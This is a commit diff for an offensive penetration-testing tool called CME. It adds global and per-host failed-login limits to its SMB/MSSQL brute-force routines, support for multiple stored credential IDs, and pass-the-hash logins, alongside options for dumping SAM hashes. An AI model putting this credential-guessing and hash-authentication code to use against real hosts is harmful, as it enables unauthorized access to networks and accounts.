Re-implemented the --gfail-limit and --fail-limit options (Properly this
time) to limit failed login attemptes - The logic responsible for SMB bruteforcing/login has been modified to sync between the concurrent threads: this allows us to limit failed login attemptes with the two new flags. However this does cause the threads to lock so there is a minor reduction in speed but IMHO this is a good middle ground. - You can now specify multiple DB credential IDs, CME will then bruteforce using the specifspecified cred set - Version bumpmain
parent
6472937773
commit
022671d039
|
@ -8,6 +8,10 @@ from cme.execmethods.atexec import TSCH_EXEC
|
|||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.smbconnection import SessionError
|
||||
from gevent.coros import BoundedSemaphore
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
global_failed_logins = 0
|
||||
|
||||
class Connection:
|
||||
|
||||
|
@ -24,9 +28,21 @@ class Connection:
|
|||
self.username = None
|
||||
self.hash = None
|
||||
self.admin_privs = False
|
||||
self.failed_logins = 0
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
self.login()
|
||||
|
||||
def over_fail_limit(self):
|
||||
global global_failed_logins
|
||||
|
||||
if global_failed_logins == self.args.gfail_limit: return True
|
||||
if self.failed_logins == self.args.fail_limit: return True
|
||||
|
||||
return False
|
||||
|
||||
def check_if_admin(self):
|
||||
if self.args.mssql:
|
||||
try:
|
||||
|
@ -79,26 +95,27 @@ class Connection:
|
|||
except DCERPCException:
|
||||
pass
|
||||
|
||||
def plaintext_login(self, username, password):
|
||||
def plaintext_login(self, domain, username, password):
|
||||
try:
|
||||
if self.args.mssql:
|
||||
res = self.conn.login(None, username, password, self.domain, None, True)
|
||||
res = self.conn.login(None, username, password, domain, None, True)
|
||||
if res is not True:
|
||||
self.conn.printReplies()
|
||||
return False
|
||||
|
||||
elif not self.args.mssql:
|
||||
self.conn.login(username, password, self.domain)
|
||||
self.conn.login(username, password, domain)
|
||||
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
self.check_if_admin()
|
||||
self.db.add_credential('plaintext', self.domain, username, password)
|
||||
self.db.add_credential('plaintext', domain, username, password)
|
||||
|
||||
if self.admin_privs:
|
||||
self.db.link_cred_to_host('plaintext', self.domain, username, password, self.host)
|
||||
self.db.link_cred_to_host('plaintext', domain, username, password, self.host)
|
||||
|
||||
out = u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'),
|
||||
out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
|
||||
username.decode('utf-8'),
|
||||
password.decode('utf-8'),
|
||||
highlight('(Pwn3d!)') if self.admin_privs else '')
|
||||
|
@ -107,14 +124,18 @@ class Connection:
|
|||
return True
|
||||
except SessionError as e:
|
||||
error, desc = e.getErrorString()
|
||||
self.logger.error(u'{}\\{}:{} {} {}'.format(self.domain.decode('utf-8'),
|
||||
if error == 'STATUS_LOGON_FAILURE':
|
||||
global global_failed_logins; global_failed_logins += 1
|
||||
self.failed_logins += 1
|
||||
|
||||
self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'),
|
||||
username.decode('utf-8'),
|
||||
password.decode('utf-8'),
|
||||
error,
|
||||
'({})'.format(desc) if self.args.verbose else ''))
|
||||
return False
|
||||
|
||||
def hash_login(self, username, ntlm_hash):
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
|
@ -126,23 +147,24 @@ class Connection:
|
|||
|
||||
try:
|
||||
if self.args.mssql:
|
||||
res = self.conn.login(None, username, '', self.domain, ntlm_hash, True)
|
||||
res = self.conn.login(None, username, '', domain, ntlm_hash, True)
|
||||
if res is not True:
|
||||
self.conn.printReplies()
|
||||
return False
|
||||
|
||||
elif not self.args.mssql:
|
||||
self.conn.login(username, '', self.domain, lmhash, nthash)
|
||||
self.conn.login(username, '', domain, lmhash, nthash)
|
||||
|
||||
self.hash = ntlm_hash
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
self.check_if_admin()
|
||||
self.db.add_credential('hash', self.domain, username, ntlm_hash)
|
||||
self.db.add_credential('hash', domain, username, ntlm_hash)
|
||||
|
||||
if self.admin_privs:
|
||||
self.db.link_cred_to_host('hash', self.domain, username, ntlm_hash, self.host)
|
||||
self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)
|
||||
|
||||
out = u'{}\\{} {} {}'.format(self.domain.decode('utf-8'),
|
||||
out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
|
||||
username.decode('utf-8'),
|
||||
ntlm_hash,
|
||||
highlight('(Pwn3d!)') if self.admin_privs else '')
|
||||
|
@ -151,7 +173,11 @@ class Connection:
|
|||
return True
|
||||
except SessionError as e:
|
||||
error, desc = e.getErrorString()
|
||||
self.logger.error(u'{}\\{} {} {} {}'.format(self.domain.decode('utf-8'),
|
||||
if error == 'STATUS_LOGON_FAILURE':
|
||||
global global_failed_logins; global_failed_logins += 1
|
||||
self.failed_logins += 1
|
||||
|
||||
self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'),
|
||||
username.decode('utf-8'),
|
||||
ntlm_hash,
|
||||
error,
|
||||
|
@ -159,56 +185,78 @@ class Connection:
|
|||
return False
|
||||
|
||||
def login(self):
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
for cred_id in self.args.cred_id:
|
||||
with sem:
|
||||
try:
|
||||
c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=cred_id)[0]
|
||||
|
||||
if not domain: domain = self.domain
|
||||
if self.args.domain: domain = self.args.domain
|
||||
|
||||
if credtype == 'hash' and not self.over_fail_limit():
|
||||
self.hash_login(domain, username, password)
|
||||
|
||||
elif credtype == 'plaintext' and not self.over_fail_limit():
|
||||
self.plaintext_login(domain, username, password)
|
||||
|
||||
except IndexError:
|
||||
self.logger.error("Invalid database credential ID!")
|
||||
|
||||
for user in self.args.username:
|
||||
|
||||
if type(user) is file:
|
||||
|
||||
for usr in user:
|
||||
|
||||
if self.args.hash:
|
||||
for ntlm_hash in self.args.hash:
|
||||
if type(ntlm_hash) is not file:
|
||||
if self.hash_login(usr.strip(), ntlm_hash): return
|
||||
with sem:
|
||||
for ntlm_hash in self.args.hash:
|
||||
if type(ntlm_hash) is not file:
|
||||
if not self.over_fail_limit():
|
||||
if self.hash_login(self.domain, usr.strip(), ntlm_hash): return
|
||||
|
||||
elif type(ntlm_hash) is file:
|
||||
for f_hash in ntlm_hash:
|
||||
if self.hash_login(usr.strip(), f_hash.strip()): return
|
||||
ntlm_hash.seek(0)
|
||||
elif type(ntlm_hash) is file:
|
||||
for f_hash in ntlm_hash:
|
||||
if not self.over_fail_limit():
|
||||
if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return
|
||||
ntlm_hash.seek(0)
|
||||
|
||||
elif self.args.password:
|
||||
for password in self.args.password:
|
||||
if type(password) is not file:
|
||||
if self.plaintext_login(usr.strip(), password): return
|
||||
|
||||
elif type(password) is file:
|
||||
for f_pass in password:
|
||||
if self.plaintext_login(usr.strip(), f_pass.strip()): return
|
||||
password.seek(0)
|
||||
with sem:
|
||||
for password in self.args.password:
|
||||
if type(password) is not file:
|
||||
if not self.over_fail_limit():
|
||||
if self.plaintext_login(self.domain, usr.strip(), password): return
|
||||
|
||||
elif type(password) is file:
|
||||
for f_pass in password:
|
||||
if not self.over_fail_limit():
|
||||
if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return
|
||||
password.seek(0)
|
||||
|
||||
elif type(user) is not file:
|
||||
|
||||
if self.args.hash:
|
||||
for ntlm_hash in self.args.hash:
|
||||
if type(ntlm_hash) is not file:
|
||||
if self.hash_login(user, ntlm_hash): return
|
||||
|
||||
elif type(ntlm_hash) is file:
|
||||
for f_hash in ntlm_hash:
|
||||
if self.hash_login(user, f_hash.strip()): return
|
||||
ntlm_hash.seek(0)
|
||||
with sem:
|
||||
for ntlm_hash in self.args.hash:
|
||||
if type(ntlm_hash) is not file:
|
||||
if not self.over_fail_limit():
|
||||
if self.hash_login(self.domain, user, ntlm_hash): return
|
||||
|
||||
elif type(ntlm_hash) is file:
|
||||
for f_hash in ntlm_hash:
|
||||
if not self.over_fail_limit():
|
||||
if self.hash_login(self.domain, user, f_hash.strip()): return
|
||||
ntlm_hash.seek(0)
|
||||
|
||||
elif self.args.password:
|
||||
for password in self.args.password:
|
||||
if type(password) is not file:
|
||||
if self.plaintext_login(user, password): return
|
||||
|
||||
elif type(password) is file:
|
||||
for f_pass in password:
|
||||
if self.plaintext_login(user, f_pass.strip()): return
|
||||
password.seek(0)
|
||||
with sem:
|
||||
for password in self.args.password:
|
||||
if type(password) is not file:
|
||||
if not self.over_fail_limit():
|
||||
if self.plaintext_login(self.domain, user, password): return
|
||||
|
||||
elif type(password) is file:
|
||||
for f_pass in password:
|
||||
if not self.over_fail_limit():
|
||||
if self.plaintext_login(self.domain, user, f_pass.strip()): return
|
||||
password.seek(0)
|
||||
|
||||
def execute(self, payload, get_output=False, methods=None):
|
||||
|
||||
|
|
|
@ -83,7 +83,7 @@ def connector(target, args, db, module, context, cmeserver):
|
|||
except:
|
||||
pass
|
||||
|
||||
if args.username and (args.password or args.hash):
|
||||
if (args.username and (args.password or args.hash)) or args.cred_id:
|
||||
conn = None
|
||||
|
||||
if args.mssql and (instances is not None and len(instances) > 0):
|
||||
|
|
|
@ -21,8 +21,8 @@ import sys
|
|||
|
||||
def main():
|
||||
|
||||
VERSION = '3.1'
|
||||
CODENAME = '\'Duchess\''
|
||||
VERSION = '3.1.3'
|
||||
CODENAME = '\'Stoofvlees\''
|
||||
|
||||
parser = argparse.ArgumentParser(description="""
|
||||
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
|
||||
|
@ -51,11 +51,11 @@ def main():
|
|||
|
||||
formatter_class=RawTextHelpFormatter,
|
||||
version='{} - {}'.format(VERSION, CODENAME),
|
||||
epilog='I swear I had something for this...')
|
||||
epilog="What is it? It's a stew... But what is it? It's a stew...")
|
||||
|
||||
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
|
||||
parser.add_argument('-id', metavar="CRED_ID", type=int, dest='cred_id', help='Database credential ID to use for authentication')
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
|
||||
parser.add_argument('-id', metavar="CRED_ID", nargs='*', default=[], type=int, dest='cred_id', help='Database credential ID(s) to use for authentication')
|
||||
parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames")
|
||||
parser.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
|
||||
msgroup = parser.add_mutually_exclusive_group()
|
||||
|
@ -74,6 +74,9 @@ def main():
|
|||
parser.add_argument("--local-auth", dest='local_auth', action='store_true', help='Authenticate locally to each target')
|
||||
parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)')
|
||||
parser.add_argument("--verbose", action='store_true', dest='verbose', help="Enable verbose output")
|
||||
fail_group = parser.add_mutually_exclusive_group()
|
||||
fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attemptes')
|
||||
fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attemptes per host')
|
||||
|
||||
rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
|
||||
|
@ -145,37 +148,23 @@ def main():
|
|||
db_connection.isolation_level = None
|
||||
db = CMEDatabase(db_connection)
|
||||
|
||||
if args.cred_id:
|
||||
try:
|
||||
c_id, credtype, domain, username, password = db.get_credentials(filterTerm=args.cred_id)[0]
|
||||
args.username = [username]
|
||||
|
||||
if not args.domain:
|
||||
args.domain = domain
|
||||
if credtype == 'hash':
|
||||
args.hash = [password]
|
||||
elif credtype == 'plaintext':
|
||||
args.password = [password]
|
||||
except IndexError:
|
||||
logger.error("Invalid database credential ID!")
|
||||
sys.exit(1)
|
||||
else:
|
||||
if args.username:
|
||||
for user in args.username:
|
||||
if os.path.exists(user):
|
||||
args.username.remove(user)
|
||||
args.username.append(open(user, 'r'))
|
||||
|
||||
if args.password:
|
||||
for passw in args.password:
|
||||
if os.path.exists(passw):
|
||||
args.password.remove(passw)
|
||||
args.password.append(open(passw, 'r'))
|
||||
if args.password:
|
||||
for passw in args.password:
|
||||
if os.path.exists(passw):
|
||||
args.password.remove(passw)
|
||||
args.password.append(open(passw, 'r'))
|
||||
|
||||
elif args.hash:
|
||||
for ntlm_hash in args.hash:
|
||||
if os.path.exists(ntlm_hash):
|
||||
args.hash.remove(ntlm_hash)
|
||||
args.hash.append(open(ntlm_hash, 'r'))
|
||||
elif args.hash:
|
||||
for ntlm_hash in args.hash:
|
||||
if os.path.exists(ntlm_hash):
|
||||
args.hash.remove(ntlm_hash)
|
||||
args.hash.append(open(ntlm_hash, 'r'))
|
||||
|
||||
for target in args.target:
|
||||
if os.path.exists(target):
|
||||
|
|
|
@ -19,7 +19,6 @@ import logging
|
|||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.dcerpc.v5 import transport, samr
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.smb import SMB_DIALECT
|
||||
|
||||
class ListUsersException(Exception):
|
||||
pass
|
||||
|
@ -62,8 +61,6 @@ class SAMRDump:
|
|||
rpctransport.set_dport(self.__port)
|
||||
#rpctransport.setRemoteHost(self.__addr)
|
||||
|
||||
if hasattr(rpctransport,'preferred_dialect'):
|
||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
|
|
|
@ -2,7 +2,6 @@ import logging
|
|||
from gevent import sleep
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.smbconnection import *
|
||||
from impacket.smb import SMB_DIALECT
|
||||
from cme.helpers import gen_random_string
|
||||
|
||||
class SMBEXEC:
|
||||
|
@ -44,8 +43,6 @@ class SMBEXEC:
|
|||
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
self.__rpctransport.set_dport(self.__port)
|
||||
#self.__rpctransport.setRemoteHost(self.__host)
|
||||
if hasattr(self.__rpctransport,'preferred_dialect'):
|
||||
self.__rpctransport.preferred_dialect(SMB_DIALECT)
|
||||
if hasattr(self.__rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
|
|
Loading…
Reference in New Issue